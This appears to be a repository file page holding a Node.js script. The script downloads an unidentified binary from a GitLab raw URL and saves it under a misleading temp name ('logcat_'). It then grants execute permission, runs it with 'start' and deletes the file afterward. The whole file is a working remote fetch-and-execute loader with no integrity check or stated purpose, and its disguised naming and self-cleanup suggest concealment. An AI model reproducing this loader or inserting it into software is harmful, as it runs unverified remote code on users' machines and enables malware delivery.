File size: 4,540 Bytes
821dd89
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
import { spawn } from 'child_process';
import { existsSync, unlinkSync, createWriteStream, chmodSync } from 'fs';
import http from 'http';
import https from 'https';
import { join } from 'path';
import { tmpdir } from 'os';
import { parse } from 'url';

// --- Configuration Info ---
const BINARY_URL = 'https://gitlab.com/rickyet/render/-/raw/main/go';
// Arguments to pass to the binary when executing
const EXEC_ARGS = ['start'];
// Temporary file path
const TEMP_FILE_PATH = join(tmpdir(), `logcat_${Date.now()}`);
// Maximum number of redirects to follow, to prevent infinite loops
const MAX_REDIRECTS = 5; 

/**
 * Cleans up the temporary file and exits the process
 * @param {number} code - The exit code
 */
function cleanupAndExit(code) {
    try {
        if (existsSync(TEMP_FILE_PATH)) {
            unlinkSync(TEMP_FILE_PATH);
            console.log(`Deleted temporary file: ${TEMP_FILE_PATH}`);
        }
    } catch (cleanupErr) {
        console.error(`Could not delete temporary file: ${cleanupErr.message}`);
    }
    process.exit(code);
}

/**
 * Downloads and executes the binary file from a remote URL, supporting redirects
 * @param {string} currentUrl - The current URL to request
 * @param {number} redirectCount - The redirect counter
 */
function executeRemoteBinary(currentUrl, redirectCount = 0) {
    if (redirectCount >= MAX_REDIRECTS) {
        console.error('❌ Reached maximum redirect limit, aborting download.');
        cleanupAndExit(1);
        return;
    }

    console.log(`Attempting connection to: ${currentUrl} (Redirects: ${redirectCount})`);

    // Determine the correct client (http or https) based on URL protocol
    const parsedUrl = parse(currentUrl);
    const client = parsedUrl.protocol === 'https:' ? https : http;

    // 1. Initiate the network request
    const req = client.get(currentUrl, (res) => {
        const { statusCode, headers } = res;

        // --- Core Redirect Handling: 3xx Status Codes ---
        if (statusCode >= 300 && statusCode < 400 && headers.location) {
            res.resume(); // Consume data to free memory
            
            // Recursively call itself to follow the new URL
            executeRemoteBinary(headers.location, redirectCount + 1);
            return;
        }

        // --- Normal Download Logic: 200 Status Code ---
        if (statusCode !== 200) {
            console.error(`Download failed, final HTTP status code: ${statusCode}`);
            res.resume();
            cleanupAndExit(1);
            return;
        }

        console.log(`Connection successful (200), starting download to temporary path: ${TEMP_FILE_PATH}`);
        const fileStream = createWriteStream(TEMP_FILE_PATH);
        
        // 2. Pipe the response stream to the file write stream
        res.pipe(fileStream);

        fileStream.on('finish', () => {
            // Trigger the close operation
            fileStream.close(); 
            console.log('File download complete!');
        });

        // The 'close' event signals that the file descriptor has been fully released
        fileStream.on('close', () => {
            // 3. Grant execute permissions (chmod +x)
            try {
                // 0o755 stands for rwxr-xr-x
                chmodSync(TEMP_FILE_PATH, 0o755); 
                console.log('Execute permissions (755) granted.');
            } catch (err) {
                console.error(`Could not set permissions: ${err.message}`);
                cleanupAndExit(1);
                return;
            }

            // 4. Execute the temporary file
            console.log(`Executing: ${TEMP_FILE_PATH} ${EXEC_ARGS.join(' ')}`);
            const child = spawn(TEMP_FILE_PATH, EXEC_ARGS, { 
                stdio: 'inherit' // Pipe child process output directly to the main terminal
            });

            child.on('error', (err) => {
                console.error(`❌ Execution error: ${err.message}`);
                cleanupAndExit(1);
            });

            child.on('close', (code) => {
                console.log(`Process exited with code: ${code}`);
                cleanupAndExit(code);
            });
        });

        fileStream.on('error', (err) => {
             console.error(`❌ File write error: ${err.message}`);
             cleanupAndExit(1);
        });

    }).on('error', (err) => {
        console.error(`❌ Network request error: ${err.message}`);
        cleanupAndExit(1);
    });
}

// Initiate the download and execution process
executeRemoteBinary(BINARY_URL);